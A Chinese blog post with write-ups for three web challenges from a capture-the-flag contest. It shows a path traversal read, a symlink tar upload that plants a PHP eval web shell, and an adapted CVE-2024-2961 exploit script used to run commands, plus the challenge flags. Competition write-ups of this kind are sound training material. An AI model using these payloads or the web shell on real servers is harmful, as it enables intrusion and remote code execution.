第五届“长城杯”网络安全大赛WEB题解

难度和湾区杯坐一桌

WEB

文曲签学

开题前端有提示:

image-20250914123121788

在前端页面的js代码中,可以看到存在一个调试模式:

image-20250914123417158

长按fn激活:

image-20250914123446757

然后通过提示输入#help:

image-20250914123559916

可以看列表并读取文件内容,多次尝试读取我问问年间,最后双写绕过../再读flag即可:

1
#read …/./…/./…/./…/./flag

image-20250914123802130

flag如下:

1
flag{18d8f6bc-50ef-4ca2-af72-cdc3e6e76391}

EZ_upload

EZ_upload?

————————————

随便上传一个php文件即可拿到文件源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
 <?php
highlight_file(__FILE__);

function handleFileUpload($file)
{
    $uploadDirectory = '/tmp/';

    if ($file['error'] !== UPLOAD_ERR_OK) {
        echo '文件上传失败。';
        return;
    }

    $filename = basename($file['name']);
    $filename = preg_replace('/[^a-zA-Z0-9_\-\.]/', '_', $filename);

    if (empty($filename)) {
        echo '文件名不符合要求。';
        return;
    }

    $destination = $uploadDirectory . $filename;
    if (move_uploaded_file($file['tmp_name'], $destination)) {
        exec('cd /tmp && tar -xvf ' . $filename.'&&pwd');
        echo $destination;
    } else {
        echo '文件移动失败。';
    }
}

handleFileUpload($_FILES['file']);
?>

通读代码,可以看出最重要的代码如下:

1
2
3
4
5
6
7
$destination = $uploadDirectory . $filename;
    if (move_uploaded_file($file['tmp_name'], $destination)) {
        exec('cd /tmp && tar -xvf ' . $filename.'&&pwd');
        echo $destination;
    } else {
        echo '文件移动失败。';
    }

有一个命令执行的操作,最开始我还以为是操控文件名来达到任意命令执行的效果,并且作了waf来进行相应的限制。后面看到exec中执行了tar解压的命令,压缩包,软链接考烂了,自然想到这个打法。

关于压缩包软链接的打法,非常经典的打法可以参考如下wp:

https://www.cnblogs.com/gxngxngxn/p/17439035.html

并且代码都是差不多的:

1
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]); 

简单来说就是上传两个压缩包,第一个创建一个指向/var/www/html目录下的软链接,第二个就会解压到软链接对应的目录下,如下打即可:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
ln -s /var/www/html mylink
tar -cvhf archive.tar mylink

rm -rf ./*

mkdir mylink
cd mylink
vim shell.php    (<?php @eval($_POST[123]);?>)
cd ..
tar -cvhf archive.tar mylink/shell.php

然后先上传第一次生成的archive.tar,再上传第二次生成的archive.tar文件,然后访问shell.php即可:

image-20250914133056115

flag如下:

1
flag{a91443eb-28c4-4eff-8b9a-a6b515b75633}

——————————

SeRce

// 这是一段极其安全的代码 - 来自某个开发者的注释

(三分钟后)

好吧,看来注释需要更新了。你的任务:让这段代码做一件它‘绝对不该做’的事情——把 /flag 的内容吐出来。祝你好运!

——————————————

开题代码如下:

1
2
3
4
5
6
7
8
9
 <?php
highlight_file(__FILE__);
$exp = $_GET["exp"];
if(isset($exp)){
    if(serialize(unserialize($exp)) != $exp){
        $data = file_get_contents($_POST['filetoread']);
        echo "File Contents: $data";
    }
}

非常简单的代码,可以看出需要反序列化后再序列化的数据是不同的,然后有一个任意文件读取,第一个waf,想到了字符串逃逸的增多的方法,也就是当正常匹配到完整的反序列化数据,后面的内容就会被舍弃,让ai给出一个序列化字符串,然后加上一些其他数据即可:

image-20250914141445804

但是直接读flag也读不出来,再看这里的File Contents: 的回显,非常容易想到CVE-2024-2961的打法,也是非常常见的考点了,结合题目描述猜测是需要提权。最开始打的kezibei的本地化项目来写文件,没成功,然后还是改的最开始给出的脚本:

https://github.com/ambionics/cnext-exploits

写文件还是没成功,后面一想,是不是权限不够,那么我就写回显到/tmp目录下,然后再读这个文件内容:

修改的关键的python脚本的内容如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
    def send(self, path: str) -> Response:
        """Sends given `path` to the HTTP server. Returns the response.
        """
        return self.session.post(self.url, data={"filetoread": path},params={"exp":'O:1:"X":1:{s:4:"name";s:4:"test";}111'})

    def download(self, path: str) -> bytes:
        """Returns the contents of a remote file.
        """
        path = f"php://filter/convert.base64-encode/resource={path}"
        response = self.send(path)
        m = re.search(b"File Contents: (.*)", response.content, flags=re.S)
        if m:
            data = m.group(1)
            print(data)
        else:
            print("匹配不到")
        return base64.decode(data)

然后将其运行脚本:

1
python3 1.py https://eci-2ze5f0zlgsjhwokxvmcd.cloudeci1.ichunqiu.com:80/ "/readflag > /tmp/2.txt"

95c4cbc190d79371d01845e942946107

可以打成功。在这里我是先ls /看到readflag,那么就是要如上命令执行了,随后可以拿到flag:

image-20250914144330496

flag如下:

1
flag{41483f84-343f-4976-b94f-808dd785b475} 

——————————————————

Licensed under CC BY-NC-SA 4.0
使用 Hugo 构建
主题 StackJimmy 设计